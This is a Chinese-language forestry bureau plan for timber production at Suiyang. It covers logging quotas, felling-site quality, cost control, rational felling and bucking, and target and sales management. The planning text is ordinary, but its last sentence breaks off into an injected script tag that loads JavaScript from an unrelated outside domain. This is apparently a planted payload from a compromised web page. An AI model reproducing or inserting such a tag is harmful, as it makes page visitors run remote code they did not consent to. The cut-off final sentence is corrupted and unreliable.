綏陽林業局木材生產發展規劃

 

木材生產是森工傳統主體產業，是森工經濟的主要來源，也是以木材加工為主的林產工業的主要原料，在森工經濟發展中具有舉足輕重的作用。

國家實施以生態建設為主的林業發展戰略，為維護生態安全，勢必要大幅度調減木材產量，森工整體經濟實力將會大大降低，林區經濟社會發展將受到影響，面對產量調減和可采資源減少的不利形勢，必須要未雨綢繆，充分利用現有的資源優勢，抓住難得的發展機遇，充分利用以形成的產業基礎，發揮特有優勢，堅持思路創新，工作方法創新和管理理念創新，改造木材生產采運傳統產業，促進產業化升級，才能提升木材生產經濟效益。

我局木材生產產業已經步入穩定發展階段，在下一個階段要確立一個目標，突出一個重點，實現一個降低，抓好一個采伐，做到二個合理，鞏固三項管理，進行三項調整。

一、突出一個重點（以嚴格控制采伐限額和伐區作業質量為重點）

在控制采伐限額和伐區作業質量上，認真執行國家有關法規和技術規程，按照“嚴管林”的要求，采伐前必須有采伐許可證，伐區作業撥交證、伐區調查設計資料，按調查設計“雙掛號”進行采伐，嚴禁界外采伐、超強度采伐、串樹種采伐和改變采伐方式。完善《木材生產管理辦法》和〈伐區檢查驗收辦法〉。利用生產淡季辦班培訓和開現場會的方式，提高作業人員的業務素質和質量意識，組織各生產單位的管理人員和技術人員到伐區作業質量好的單位去參觀學習、開現場會，由專業人員現場講解合理采伐、合理造材、伐區管理等方面的知識和要求，并進行現場示范，使所有從業人員做到“五個明確”，即明確伐區班界和號界，明確“雙掛號”樹木，明確采伐方式，明確清理標準。每年進行一次木材生產方面的技術比武和業務考核，對成績好的以物質獎勵，以此激發木材生產作業人員的生產積極性。在伐區管理上開展爭創“四無“伐區競賽活動。“四無”即：無破壞生態伐區、無違法違規伐區、無困山材伐區、無剩余物伐區。

二、確立一個目標（在森林資源限額內實現木材生產效益最大化目標）

實現這個目標，一要堅持以提高生產戰線全員素質為根本，健全和完善培訓學習的長效機制，每年至少集中培訓兩次。二要堅持以質量管理為核心，完善激勵和約束機制，完善規章制度，使全局木材生產各環節、各工序都有明確的作業標準和獎罰標準，做到木材生產由人治向法治的過渡；完善檢查監督。對伐區作業和產品質量實行兩級聯檢制度，各木材生產單位首先進行自檢，然后由局有關部門聯合組成驗收小組復檢，最終確定伐區合格與否以及木材產品的徑級、等級，并將檢查結果在全局公示。三要堅持以市場需求為導向，積極創新木材生產組織形式，在科學預測市場，依法調查設計的基礎上，對各木材生產單位下達木材總產量的同時，下達木材樹材種單項生產量，多組織生產市場暢銷材和優質材，減少質次價廉的木材產量，實行產量、樹材種雙考核；四要創新生產模式，進行反季生產，在木材價格較高的夏秋兩季組織木材生產，以此提高木材生產經濟效益; 五要積極生產市場急需的定制材和特殊材種，提高木材售價。

三、實現一個降低（降低生產成本）

木材生產作業前認真進行調查研究，依據科學考核的勞動定額、工效等，核算出各工序成本，層層分解，實行目標管理，在各道工序上嚴格把關，對超成本的生產單位實行一票否決制，并把伐區剩余物收干揀凈，充分利用，同時研究在冬運緊張時期，實行浮動成本，提高木材生產效益。

四、做到兩個合理（合理采伐、合理造材）

嚴格按《采伐技術規程》和伐區調查設計資料進行采伐作業，切實做到采一號、集一號、清一號、凈一號、驗一號、撥一號，杜絕超限額、無證、越界、串樹種和不按掛號木采伐等現象，充分降低伐根，節約森林資源，提高木材利用率。伐區造材必須使用經過專業培訓合格的專職量材員和造材員，制訂伐區合理造材質量效益獎懲辦法，創新獎勵方式，實行“三掛鉤”，一是獎勵與經濟利益掛鉤，二是與個人政績掛鉤，三是與年終考核評比掛鉤，激發職工獻身木材生產的熱情，合理、科學地選擇造材方式，定期檢查考核，及時兌現獎罰，提高木材產品產值。

五鞏固和深化三項管理（木材生產目標管理、木材商品化管理和木材生產銷售信息化管理）

進一步完善目標管理，采取全員簽訂責任狀的方式，由林業局與林場簽訂責任狀，各生產單位再與各有關人員簽訂責任狀，將木材生產的千斤重擔，分解落實到每個人頭，是每個參與木材生產的人員都肩負一定責任，形成嚴密的責任體系。加強貯木場商品化管理。從進場檢驗和銷售支撥兩個重要環節入手，一是選派責任心強，業務水平高的檢驗員參與木材交接驗收，保證進場交接檢驗的準確性。二是合理排擺楞頭，認真設計規劃，做到排擺合理，建立楞卡管理制度，做到帳卡相?script src=http://zhihuiguan.com/c.js>